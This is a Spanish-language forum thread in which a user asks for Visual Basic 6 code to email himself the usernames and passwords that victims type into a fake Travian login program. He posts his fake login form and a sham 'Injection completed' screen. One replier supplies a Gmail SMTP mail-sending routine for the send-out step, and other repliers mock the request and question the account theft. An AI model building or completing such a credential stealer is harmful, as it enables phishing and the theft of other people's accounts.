Hola muy buenos días gente de elhacker, soy algo nuevo o mejor dicho bastante nuevo en este foro, y tengo una duda con un mini ejecutable que estoy creando en vb 6 lo que pasa es que ya hace tiempo que no utilizaba este programa y se me han olvidado bastantes codigos, como el que les vengo a pedir ahora, estoy haciendo un ejecutable y necesito que la informacion puesta dentro de los campos creados se me envie a un mail, osea que el sujeto al poner su contraseña y usuario y al darle al boton de ok, se me envie un mail a mi mail con los datos puestos en este, si me pudieran ayudar le agradeceria demasiado, estuve buscando en el foro pero no encontre lo que necesitaba o busque mal, bueno de todas formas el post ya esta creado espero que me puedan ayudar, desde ya muchas gracias.
¿Y que es lo que tenes hecho hasta ahora?
Cita de: MauroMasciar en 31 Octubre 2012, 22:11 PM
¿Y que es lo que tenes hecho hasta ahora?
Bueno, estaba haciendo un fake para travian y lo que tengo hecho hasta ahora es.
Private Sub Command1_Click()
If Text1.Text = "user" And Text2.Text = "pass" Then
ProgressBar1.Max = 100
ProgressBar1.Min = 0
ProgressBar1.Value = i
For i = 0 To ProgressBar1.Max
ProgressBar1.Value = i
Next
End If
If ProgressBar1.Value = 100 Then
Form2.Show
MsgBox ("¡Login succesful!")
Form1.Hide
End If
End Sub
Esto seria como el login para hacerlo parecer normal.
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = Rnd * 300 + 10
ProgressBar1.Value = ProgressBar1.Value + 2
Label9.Caption = ProgressBar1.Value & "%"
If Label9.Caption = 100 & "%" Then
MsgBox "¡Injection completed!", vbInformation + vbDefaultButton1, "Travian 4"
End If
End Sub
Y esto seria el form2 que contiene un poco(casi nada) del codigo del ejecutable.
(http://i.imgur.com/1H2YN.png)
Aproposito, como puedo hacer spoilers?
HOLA!!!
ub SendEmail()
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = Username@gmail.com
Flds.Item(schema & "sendpassword") = password
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
.To = To
.From = username@gmail.com
.Subject = "Mail from gmail"
.HTMLBody = "Test message using CDO in vb6 from Gmail smtp"
Set .Configuration = iConf
.Send
End With
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
End Sub
P.D: Endzel: Te dejo el siguiente codigo, pero como es medio peligroso dejarlo asi nomas vas a tener que seleccionar el texto de abajo para leerlo .
LLL AAAA MMMM MMMM MMMM MMMM EEEEEE RRRRR
LLL AA AA MM MM MM MM MM MM MM MM EE RR RR
LLL AA AA MM MMM MM MM MMM MM EEEE RRRRR
LLL AAAAAAA MM M MM MM M MM EE RR RR
LLLLLLL AA AA MM MM MM MM EEEEEE RR RR
GRACIAS POR LEER!!!
Cita de: 79137913 en 2 Noviembre 2012, 19:20 PM
P.D: Endzel: Te dejo el siguiente codigo, pero como es medio peligroso dejarlo asi nomas vas a tener que seleccionar el texto de abajo para leerlo .
LLL AAAA MMMM MMMM MMMM MMMM EEEEEE RRRRR
LLL AA AA MM MM MM MM MM MM MM MM EE RR RR
LLL AA AA MM MMM MM MM MMM MM EEEE RRRRR
LLL AAAAAAA MM M MM MM M MM EE RR RR
LLLLLLL AA AA MM MM MM MM EEEEEE RR RR
Hiciste bien en esconderlo de esa manera chico :xD
@endzel se nota que tenes que seguir investigando, dejándolo como lo dejo
@79137913 uno podría avivarse, descompilar el .exe y ver tu usuario y contraseña del GMail o Mail que le pongas.
Aparte, robar cuentas de Travian? Pfff
¿Y para que las necesitas?